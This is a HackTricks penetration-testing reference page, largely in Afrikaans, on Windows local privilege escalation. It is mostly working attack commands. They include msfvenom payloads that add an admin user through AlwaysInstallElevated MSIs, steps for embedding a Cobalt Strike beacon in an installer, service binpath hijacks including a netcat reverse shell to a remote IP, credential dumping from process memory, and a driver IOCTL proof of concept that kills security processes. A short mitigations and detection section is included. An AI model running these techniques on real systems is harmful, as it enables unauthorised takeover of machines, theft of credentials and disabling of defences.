Windows Local Privilege Escalation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Beste hulpmiddel om te soek na Windows local privilege escalation vectors: WinPEAS
Aanvanklike Windows-teorie
Toegangstokens
As jy nie weet wat Windows Access Tokens is nie, lees asseblief die volgende bladsy voordat jy voortgaan:
ACLs - DACLs/SACLs/ACEs
Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:
Integriteitsvlakke
As jy nie weet wat integriteitsvlakke in Windows is nie, lees asseblief die volgende bladsy voordat jy voortgaan:
Windows Sekuriteitskontroles
Daar is verskeie dinge in Windows wat jou kan verhoed om die stelsel te enumereer, uitvoerbare lĂȘers te laat loop of selfs jou aktiwiteite te ontdek. Jy moet die volgende bladsy lees en al hierdie verdedigings meganismes enumereer voordat jy met die privilege escalation-ontleding begin:
Stelselinligting
Weergawe-inligting-ontleding
Kontroleer of die Windows-weergawe enige bekende kwesbaarheid het (kontroleer ook watter patches toegepas is).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Weergawe Exploits
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the massive attack surface that a Windows environment presents.
Op die stelsel
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas has watson embedded)
Lokaal met stelsel-inligting
Github repos van exploits:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
Omgewing
Enige credential/Juicy info gestoor in die env variables?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell Geskiedenis
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell-transkripsielĂȘers
Jy kan leer hoe om dit aan te skakel by https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
Besonderhede van PowerShell-pipeline-uitvoerings word aangeteken â dit sluit uitgevoerde opdragte, opdragoproepe en dele van skripte in. Volledige uitvoeringsbesonderhede en uitsetresultate mag egter dalk nie vasgelĂȘ word nie.
Om dit aan te skakel, volg die instruksies in die âTranscript filesâ-afdeling van die dokumentasie en kies âModule Loggingâ in plaas van âPowershell Transcriptionâ.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
Om die laaste 15 gebeure uit die PowersShell logs te sien, kan jy die volgende uitvoer:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
ân Volledige aktiwiteits- en inhoudsregister van die skrip se uitvoering word opgeteken, wat verseker dat elke blokkie kode gedokumenteer word terwyl dit loop. Hierdie proses bewaar ân omvattende ouditspoor van elke aktiwiteit, waardevol vir forensiek en die ontleding van kwaadwillige gedrag. Deur alle aktiwiteit tydens uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Loggebeurtenisse vir die Script Block kan in die Windows Event Viewer gevind word by die pad: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Om die laaste 20 gebeure te sien, kan jy gebruik:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
Internetinstellings
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
Skywe
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
Jy kan die stelsel kompromitteer as die opdaterings nie met httpS versoek word nie, maar met http.
Jy begin deur te kontroleer of die netwerk ân non-SSL WSUS-opdatering gebruik deur die volgende in cmd uit te voer:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
Of die volgende in PowerShell:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
As jy ân antwoord kry soos een van die volgende:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
En as HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer of Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" gelyk is aan 1.
Dan is dit uitbuitbaar. As die laaste registerwaarde gelyk is aan 0, sal die WSUS-inskrywing geĂŻgnoreer word.
Om hierdie kwesbaarhede uit te buit kan jy gereedskap soos: Wsuxploit, pyWSUS gebruik â dit is MiTM-geweaponiseerde exploit-skripte om âfakeâ updates in nie-SSL WSUS-verkeer in te voeg.
Lees die navorsing hier:
WSUS CVE-2020-1013
Read the complete report here.
Basies is dit die fout wat hierdie bug uitbuit:
As ons die mag het om ons plaaslike gebruikersproxy te wysig, en Windows Updates gebruik die proxy wat in Internet Explorer se instellings gekonfigureer is, het ons dus die vermoĂ« om PyWSUS plaaslik te laat loop om ons eie verkeer te onderskep en kode as ân verhoogde gebruiker op ons toestel uit te voer.
Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatstoor gebruik. As ons ân self-ondertekende sertifikaat genereer vir die WSUS-hostname en hierdie sertifikaat by die huidige gebruiker se sertifikaatstoor voeg, sal ons beide HTTP en HTTPS WSUS-verkeer kan onderskep. WSUS gebruik geen HSTS-agtige meganismes om ân trust-on-first-use tipe validering op die sertifikaat toe te pas nie. As die aangebiedde sertifikaat deur die gebruiker vertrou word en die korrekte hostname het, sal dit deur die diens aanvaar word.
Jy kan hierdie kwesbaarheid uitbuit met die hulpmiddel WSUSpicious (sodra dit vrygestel is).
Third-Party Auto-Updaters and Agent IPC (local privesc)
Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain â CVE-2025-0309) here:
KrbRelayUp
A local privilege escalation kwesbaarheid bestaan in Windows domain omgewings onder spesifieke voorwaardes. Hierdie voorwaardes sluit omgewings in waar LDAP signing nie afgedwing word nie, gebruikers regte het wat hulle toelaat om Resource-Based Constrained Delegation (RBCD) te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domain te skep. Dit is belangrik om daarop te let dat hierdie vereistes met standaardinstellings vervul word.
Vind die exploit in https://github.com/Dec0ne/KrbRelayUp
Vir meer inligting oor die verloop van die aanval sien https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/
AlwaysInstallElevated
As hierdie 2 registere geaktiveer is (waarde is 0x1), kan gebruikers met enige bevoegdheid *.msi-lĂȘers as NT AUTHORITY\SYSTEM installeer (uitvoer).
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
As jy ân meterpreter-sessie het, kan jy hierdie tegniek outomatiseer met die module exploit/windows/local/always_install_elevated
PowerUP
Gebruik die Write-UserAddMSI command van PowerUP om binne die huidige gids ân Windows MSI binary te skep om escalate privileges. Hierdie script skryf ân voorafgekompileerde MSI installer uit wat vra vir ân user/group toevoeging (dus sal jy GIU access nodig hĂȘ):
Write-UserAddMSI
Voer net die gecreëerde binary uit om voorregte te eskaleer.
MSI Wrapper
Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a â.batâ file if you just want to execute command lines
Create MSI with WIX
Create MSI with Visual Studio
- Genereer met Cobalt Strike of Metasploit ân nuwe Windows EXE TCP payload in
C:\privesc\beacon.exe - Maak Visual Studio oop, kies Create a new project en tik âinstallerâ in die soekboks. Kies die Setup Wizard project en klik Next.
- Gee die project ân naam, soos AlwaysPrivesc, gebruik
C:\privescvir die ligging, kies place solution and project in the same directory, en klik Create. - Klik aanhoudend op Next totdat jy by stap 3 van 4 kom (choose files to include). Klik Add en kies die Beacon payload wat jy net gegenereer het. Klik dan Finish.
- Beklemtoon die AlwaysPrivesc project in die Solution Explorer en in die Properties, verander TargetPlatform van x86 na x64.
- Daar is ander properties wat jy kan verander, soos die Author en Manufacturer, wat die geĂŻnstalleerde app meer legitim laat lyk.
- Regsklik die project en kies View > Custom Actions.
- Regsklik Install en kies Add Custom Action.
- Dubbelklik op Application Folder, kies jou beacon.exe lĂȘer en klik OK. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer uitgevoer word.
- Onder die Custom Action Properties, verander Run64Bit na True.
- Laastens, build it.
- As die waarskuwing
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'vertoon word, maak seker jy stel die platform op x64.
MSI Installation
Om die installasie van die kwaadaardige .msi-lĂȘer in die agtergrond uit te voer:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
Om hierdie kwetsbaarheid uit te buit, kan jy gebruik: exploit/windows/local/always_install_elevated
Antivirus en Detektore
Ouditinstellings
Hierdie instellings bepaal wat aangeteken word, dus moet jy hierop aandag gee
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding, dit is interessant om te weet waar die logs heen gestuur word.
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS is ontwerp vir die bestuur van plaaslike Administrator-wagwoorde, wat verseker dat elke wagwoord unik, gerandomiseer en gereeld bygewerk is op rekenaars wat by ân domein aangesluit is. Hierdie wagwoorde word veilig in Active Directory gestoor en kan slegs deur gebruikers geraadpleeg word wat deur ACLs voldoende toestemmings ontvang het, sodat hulle, indien gemagtig, plaaslike Administrator-wagwoorde kan sien.
WDigest
Indien aktief word plain-text-wagwoorde in LSASS gestoor (Local Security Authority Subsystem Service).
Meer inligting oor WDigest op hierdie bladsy.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Vanaf Windows 8.1 het Microsoft verbeterde beskerming vir die Local Security Authority (LSA) ingevoer om pogings deur onbetroubare prosesse om sy geheue te lees of kode in te spuit te blokkeer, wat die stelsel verder beveilig.\
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard is in Windows 10 bekendgestel. Die doel daarvan is om die credentials wat op ân toestel gestoor word, te beskerm teen bedreigings soos pass-the-hash attacks.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
Cached Credentials
Domain credentials word deur die Local Security Authority (LSA) geverifieer en deur komponente van die bedryfstelsel gebruik. Wanneer ân gebruiker se aanmelddata deur ân geregistreerde security package geverifieer word, word domain credentials vir die gebruiker gewoonlik ingestel.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Gebruikers & Groepe
Enumereer Gebruikers & Groepe
Jy moet nagaan of enige van die groepe waarvan jy deel uitmaak interessante toestemmings het
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Bevoorregte groepe
As jy tot ân bevoorregte groep behoort, kan jy dalk voorregte eskaleer. Lees meer oor bevoorregte groepe en hoe om dit te misbruik om hier voorregte te eskaleer:
Token-manipulasie
Lees meer oor wat ân token is op hierdie blad: Windows Tokens.
Kyk na die volgende bladsy om te leer oor interessante tokens en hoe om dit te misbruik:
Ingelogde gebruikers / Sessies
qwinsta
klist sessions
Tuismappe
dir C:\Users
Get-ChildItem C:\Users
Wagwoordbeleid
net accounts
Kry die inhoud van die klembord
powershell -command "Get-Clipboard"
Lopende prosesse
LĂȘer- en gidspermissies
Eerstens, wanneer jy die prosesse lys, kyk of daar wagwoorde in die command line van die proses is.
Kyk of jy enige lopende binary kan oorskryf of skryfpermissies op die binary-gids het om moontlike DLL Hijacking attacks uit te buit:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Kontroleer altyd vir moontlike electron/cef/chromium debuggers wat loop â jy kan dit misbruik om escalate privileges.
Kontroleer die permissies van die proses se binaries
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
Kontroleer die permissies van die vouers van die proses-binaries (DLL Hijacking)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
Memory Password mining
Jy kan ân memory dump van ân lopende proses skep met behulp van procdump van sysinternals. Dienste soos FTP het die credentials in clear text in memory, probeer om die memory te dump en lees die credentials.
procdump.exe -accepteula -ma <proc_name_tasklist>
Onveilige GUI-apps
Toepassings wat as SYSTEM loop kan ân gebruiker toelaat om ân CMD te spawn of deur gidse te blaai.
Voorbeeld: âWindows Help and Supportâ (Windows + F1), soek na âcommand promptâ, klik op âClick to open Command Promptâ
Dienste
Service Triggers let Windows start a service when certain conditions occur (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Selfs sonder SERVICE_START-regte kan jy dikwels dienste met verhoogde regte begin deur hul triggers af te vuur. Sien enumeration and activation techniques hier:
Kry ân lys van dienste:
net start
wmic service list brief
sc query
Get-Service
Permissies
Jy kan sc gebruik om inligting oor ân diens te kry
sc qc <service_name>
Dit word aanbeveel om die binary accesschk van Sysinternals te hĂȘ om die vereiste privilege level vir elke diens te kontroleer.
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
Dit word aanbeveel om te kontroleer of âAuthenticated Usersâ enige diens kan wysig:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
You can download accesschk.exe for XP for here
Diens inskakel
As jy hierdie fout kry (byvoorbeeld met SSDPSRV):
Stelselfout 1058 het voorgekom.
Die diens kan nie begin word nie, Ăłf omdat dit gedeaktiveer is Ăłf omdat daar geen geaktiveerde toestelle daarmee geassosieer is nie.
Jy kan dit inskakel met
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
Neem in ag dat die diens upnphost van SSDPSRV afhanklik is om te werk (vir XP SP1)
Nog ân omweg vir hierdie probleem is om die volgende uit te voer:
sc.exe config usosvc start= auto
Wysig diens binĂȘre pad
In die scenario waar die âAuthenticated usersâ groep SERVICE_ALL_ACCESS op ân diens het, is dit moontlik om die diens se uitvoerbare lĂȘer te wysig. Om sc te wysig en uit te voer:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
Herbegin diens
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
Privilegieë kan verhoog word deur verskeie permissies:
- SERVICE_CHANGE_CONFIG: Laat toe om die service binary te herkonfigureer.
- WRITE_DAC: Maak permissie-herkonfigurasie moontlik, wat lei tot die vermoë om service-konfigurasies te verander.
- WRITE_OWNER: Maak eienaarskapverkryging en permissie-herkonfigurasie moontlik.
- GENERIC_WRITE: Erf die vermoë om service-konfigurasies te verander.
- GENERIC_ALL: Erf ook die vermoë om service-konfigurasies te verander.
Vir die opsporing en uitbuiting van hierdie kwesbaarheid kan die exploit/windows/local/service_permissions gebruik word.
Swak permissies van service binaries
Kontroleer of jy die binary wat deur ân service uitgevoer word, kan wysig of dat jy skrifpermissies op die vouer het waar die binary geleĂ« is (DLL Hijacking).
Jy kan elke binary wat deur ân service uitgevoer word kry met wmic (nie in system32 nie) en jou permissies nagaan met icacls:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
Jy kan ook sc en icacls gebruik:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
Wysig toestemmings van service-registers
Jy moet nagaan of jy enige service-register kan wysig.
Jy kan jou toestemmings oor ân service register kontroleer deur:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
Daar moet nagegaan word of Authenticated Users of NT AUTHORITY\INTERACTIVE FullControl toestemmings het. Indien wel, kan die binary wat deur die diens uitgevoer word, verander word.
Om die Path van die binary wat uitgevoer word te verander:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
Services registry AppendData/AddSubdirectory toestemmings
If you have this permission over a registry this means to you can create sub registries from this one. In case of Windows services this is enough to execute arbitrary code:
AppendData/AddSubdirectory permission over service registry
Unquoted Service Paths
If the path to an executable is not inside quotes, Windows will try to execute every ending before a space.
For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
Lys alle ongeciteerde dienspade, uitgesonderd dié wat aan ingeboude Windows-dienste behoort:
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Jy kan opspoor en uitbuit hierdie kwesbaarheid met metasploit: exploit/windows/local/trusted\_service\_path Jy kan handmatig ân service binary skep met metasploit:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
Herstelaksies
Windows laat gebruikers toe om aksies te spesifiseer wat geneem moet word indien ân diens misluk. Hierdie funksie kan gekonfigureer word om na ân binary te wys. As hierdie binary vervangbaar is, kan privilege escalation moontlik wees. Meer besonderhede is beskikbaar in die amptelike dokumentasie.
Toepassings
GeĂŻnstalleerde Toepassings
Kontroleer die permissions of the binaries (miskien kan jy een overskryf en privilege escalation bewerkstellig) en van die folders (DLL Hijacking).
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Skryfpermissies
Kontroleer of jy ân konfigurasielĂȘer kan wysig om ân spesiale lĂȘer te lees, of jy ân binary kan wysig wat deur ân Administrator account (schedtasks) uitgevoer gaan word.
Een manier om swak vouer-/lĂȘertoestemmings in die stelsel te vind, is om die volgende te doen:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
Voer by opstart uit
Kontroleer of jy ân registry of binary kan oorskryf wat deur ân ander gebruiker uitgevoer gaan word.
Lees die volgende bladsy om meer te leer oor interessante autoruns locations to escalate privileges:
Privilege Escalation with Autoruns
Drywers
Kyk vir moontlike derdepartij vreemde/kwesbare drywers
driverquery
driverquery.exe /fo table
driverquery /SI
As ân driver ân arbitrary kernel read/write primitive blootstel (algemeen in swak ontwerpte IOCTL handlers), kan jy eskaleer deur ân SYSTEM-token direk uit kernel-geheue te steel. Sien die stapâvirâstap tegniek hier:
Arbitrary Kernel Rw Token Theft
Vir race-condition-foute waar die kwetsbare oproep ân deur die aanvaller beheerde Object Manager-pad oopmaak, kan doelbewuste vertraging van die lookup (deur maksimum-lengte komponente of diep gidskettings te gebruik) die venster van mikrosekonde tot tientalle mikrosekonde uitbrei:
Kernel Race Condition Object Manager Slowdown
Registry hive memory corruption primitives
Moderne hive-kwesbaarhede laat jou toe om deterministiese uitlegte te vorm, beskryfbare HKLM/HKU-nakomelinge te misbruik, en metadata-korruptie te omskep in kernel paged-pool oorvloeiings sonder ân pasgemaakte driver. Leer die volle ketting hier:
Windows Registry Hive Exploitation
Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
Sommige onderteken derdeâparty drivers skep hul device object met ân sterk SDDL via IoCreateDeviceSecure maar vergeet om FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics te stel. Sonder hierdie vlag word die veilige DACL nie afgedwing wanneer die device geopen word deur ân pad met ân ekstra komponent nie, wat enige nie-geprivilegieerde gebruiker toelaat om ân handle te verkry deur ân namespace-pad soos:
- \ .\DeviceName\anything
- \ .\amsdk\anyfile (from a real-world case)
Sodra ân gebruiker die device kan open, kan bevoegde IOCTLs wat deur die driver blootgestel word misbruik word vir LPE en manipulasie. Voorbeelde van vermoĂ«ns wat in die natuur waargeneem is:
- Teruggee van volle-toegang handles aan arbitrĂȘre prosesse (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
- Onbeperkte raw disk read/write (offline manipulasie, boot-time persistence tricks).
- BeĂ«indig arbitrĂȘre prosesse, insluitend Protected Process/Light (PP/PPL), wat AV/EDR kill vanaf user land via kernel toelaat.
Minimale PoC-patroon (user mode):
// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS 0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
Versagtingsmaatreëls vir ontwikkelaars
- Stel altyd FILE_DEVICE_SECURE_OPEN in wanneer jy apparaatobjekte skep wat bedoel is om deur ân DACL beperk te word.
- Valideer die aanroeperkonteks vir bevoorregte operasies. Voeg PP/PPL-kontroles by voordat jy prosesbeëindiging of handle-teruggawes toelaat.
- Beperk IOCTLs (access masks, METHOD_*, input validation) en oorweeg brokered models eerder as direkte kernel-privileges.
Deteksie-idees vir verdedigers
- Moniteer user-mode-openings van verdagte device-name (bv., \ .\amsdk*) en spesifieke IOCTL-reekse wat op misbruik dui.
- Dwing Microsoft se vulnerable driver blocklist af (HVCI/WDAC/Smart App Control) en handhaaf jou eie allow/deny-lyste.
PATH DLL Hijacking
As jy write permissions inside a folder present on PATH het, kan jy moontlik ân DLL wat deur ân proses gelaai is hijack en escalate privileges.
Kontroleer die permissies van alle vouers in PATH:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
Vir meer inligting oor hoe om hierdie kontrole te misbruik:
Writable Sys Path +Dll Hijacking Privesc
Netwerk
Gedeelde hulpbronne
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
hosts file
Kontroleer die hosts file vir ander bekende rekenaars wat hardcoded is.
type C:\Windows\System32\drivers\etc\hosts
Netwerk-koppelvlakke & DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
Oop Poorte
Kontroleer vanaf buite vir beperkte dienste
netstat -ano #Opened ports?
Roetabel
route print
